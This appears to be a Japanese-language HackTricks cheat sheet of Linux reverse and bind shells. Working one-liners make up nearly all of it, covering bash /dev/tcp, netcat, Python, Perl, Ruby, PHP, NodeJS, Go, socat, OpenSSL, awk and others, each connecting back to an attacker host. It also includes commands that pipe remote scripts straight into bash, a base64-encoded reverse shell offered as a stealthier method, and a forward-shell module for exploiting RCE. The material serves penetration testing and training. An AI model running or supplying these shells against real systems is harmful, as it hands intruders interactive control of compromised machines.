# Shells - Linux {{#include ../../banners/hacktricks-training.md}} **これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。** ## Full TTY **リバースシェルを取得したら、** [**完全なTTYを取得するためにこのページを読んでください。**](full-ttys.md)**。** ## Bash | sh ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP 0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196 exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; done #Short and bypass (credits to Dikline) (sh)0>/dev/tcp/10.10.10.10/9091 #after getting the previous shell to get the output to execute exec >&0 ``` 他のシェルも確認するのを忘れないでください: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, および bash。 ### シンボルセーフシェル ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' #Stealthier method #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` #### シェルの説明 1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)Bashシェルを開始します。 2. **`>&`**: このコマンドの部分は、**標準出力**(`stdout`)と**標準エラー**(`stderr`)を**同じ宛先**にリダイレクトするための省略記法です。 3. **`/dev/tcp//`**: これは、**指定されたIPアドレスとポートへのTCP接続を表す特別なファイル**です。 - **出力とエラーストリームをこのファイルにリダイレクトすることによって**、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。 4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクトします**。 ### ファイルを作成して実行 ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` ## Forward Shell Linuxベースのウェブアプリケーション内の**Remote Code Execution (RCE)** 脆弱性に対処する際、リバースシェルの取得はiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。このような制約のある環境では、妥協したシステムとより効果的に対話するためにPTY(擬似端末)シェルを確立する代替アプローチがあります。 この目的に推奨されるツールは[toboggan](https://github.com/n3rada/toboggan.git)で、ターゲット環境との対話を簡素化します。 tobogganを効果的に利用するには、ターゲットシステムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構成できます: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution token = jwt.encode( {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" ) response = httpx.get( url="https://vulnerable.io:3200", headers={"Authorization": f"Bearer {token}"}, timeout=timeout, # ||BURP|| verify=False, ) # Check if the request was successful response.raise_for_status() return response.text ``` そして、次のコマンドを実行できます: ```shell toboggan -m nix.py -i ``` インタラクティブシェルを直接利用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーのために`-i`を削除できます。 別の可能性として、`IppSec`のフォワードシェル実装を使用することができます [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。 次の項目を修正する必要があります: - 脆弱なホストのURL - ペイロードのプレフィックスとサフィックス(ある場合) - ペイロードの送信方法(ヘッダー?データ?追加情報?) その後、**コマンドを送信**するか、**`upgrade`コマンドを使用**してフルPTYを取得できます(パイプは約1.3秒の遅延で読み書きされることに注意してください)。 ## Netcat ```bash nc -e /bin/sh nc | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` ## gsocket [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) で確認してください。 ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` ## テルネット ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` ## Whois **攻撃者** ```bash while true; do nc -l ; done ``` コマンドを送信するには、書き込み、Enterを押し、CTRL+Dを押します(STDINを停止するため)。 **被害者** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` ## Python ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` ## パール ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## ルビー ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## PHP ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' // Using 'proc_open' makes no assumptions about what the file descriptor will be. // See https://security.stackexchange.com/a/198944 for more information $sock, 1=>$sock, 2=>$sock), $pipes); ?> /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` ## ジャバ ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ## Ncat ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` ## ゴラン ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ## ルア ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## NodeJS ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8080, "10.17.26.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })(); or require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'") or -var x = global.process.mainModule.require -x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash') or // If you get to the constructor of a function you can define and execute another function inside a string "".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")() "".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")() or // Abuse this syntax to get a reverse shell var fs = this.process.binding('fs'); var fs = process.binding('fs'); or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` ## Zsh (ビルトインTCP) ```bash # Requires no external binaries; leverages zsh/net/tcp module zsh -c 'zmodload zsh/net/tcp; ztcp ; zsh -i <&$REPLY >&$REPLY 2>&$REPLY' ``` ## Rustcat (rcat) [https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – Rustで書かれたモダンなnetcatのようなリスナー(2024年からKaliにパッケージされています)。 ```bash # Attacker – interactive TLS listener with history & tab-completion rcat listen -ib 55600 # Victim – download static binary and connect back with /bin/bash curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \ && chmod +x /tmp/rcat \ && /tmp/rcat connect -s /bin/bash 55600 ``` 特徴: - 暗号化されたトランスポートのためのオプションの `--ssl` フラグ (TLS 1.3) - 被害者上で任意のバイナリを生成するための `-s` (例: `/bin/sh`, `python3`) - 完全にインタラクティブな PTY に自動的にアップグレードするための `--up` ## revsh (暗号化およびピボット準備完了) `revsh` は、**暗号化されたDiffie-Hellmanトンネル**を介して完全なTTYを提供する小さなCクライアント/サーバーであり、オプションで**TUN/TAP**インターフェースを逆VPNのようなピボティングのために接続できます。 ```bash # Build (or grab a pre-compiled binary from the releases page) git clone https://github.com/emptymonkey/revsh && cd revsh && make # Attacker – controller/listener on 443 with a pinned certificate revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem # Victim – reverse shell over TLS to the attacker ./revsh :443 ``` 役立つフラグ: - `-b` : リバースの代わりにバインドシェル - `-p socks5://127.0.0.1:9050` : TOR/HTTP/SOCKSを通じてプロキシ - `-t` : TUNインターフェースを作成(リバースVPN) セッション全体が暗号化されており、マルチプレックスされているため、プレーンテキストの`/dev/tcp`シェルを殺す単純な出口フィルタリングをしばしば回避します。 ## OpenSSL 攻撃者(Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` 被害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### バインドシェル ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### リバースシェル ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` ## フィンガー **攻撃者** ```bash while true; do nc -l 79; done ``` コマンドを送信するには、書き込み、Enterを押し、CTRL+Dを押します(STDINを停止するため)。 **被害者** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` ## Gawk ```bash #!/usr/bin/gawk -f BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } } ``` ## Xterm これはポート6001であなたのシステムに接続しようとします: ```bash xterm -display 10.0.0.1:1 ``` リバースシェルをキャッチするには、次のものを使用できます(ポート6001でリッスンします): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` ## グルービー by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注: Java リバースシェルはグルービーにも適用されます ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` ## 参考文献 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) - [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) - [https://github.com/emptymonkey/revsh](https://github.com/emptymonkey/revsh) {{#include ../../banners/hacktricks-training.md}}